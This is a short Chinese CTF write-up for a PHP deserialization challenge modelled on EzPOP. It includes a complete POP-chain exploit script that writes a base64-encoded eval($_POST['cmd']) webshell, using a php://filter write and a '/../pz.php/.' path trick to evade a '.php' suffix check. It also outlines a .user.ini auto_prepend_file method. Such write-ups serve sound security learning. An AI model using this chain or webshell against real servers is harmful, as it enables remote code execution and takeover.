这个题跟[EIS 2019]EzPOP
比较类似。
[EIS 2019]EzPOP WP
区别在于修改了一段代码。
修改前:
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
修改的:
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
使文件名随机,并且比较了后缀并限制了后缀不能为php
这里有两种解法
:
第一种
是绕过php
后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /.
,所以导致写入文件成功。
利用之前的exp
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = '/../pz.php/.';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
这里需要注意的是,需要利用路径穿越,不然上传上去的shell会被改为当前时间的文件名
像这样
第二种解法
可以参考Moyu
师傅的:
buu红包题writeup
这里用的方法是用.user.ini
去自动加载一个jpg
,然后包含shell
这里对.user.ini
的讲解
总体思路就是: 我们可以上传一个
.user.ini
文件,在.user.ini
文件内利用auto_prepend_file
写入我们要上传的图片作为shell的文件名。然后再写入jpg
文件,作为我们的shell
。 然后就可以访问我们的shell文件了。
具体exp可以看Moyu师傅
的文章。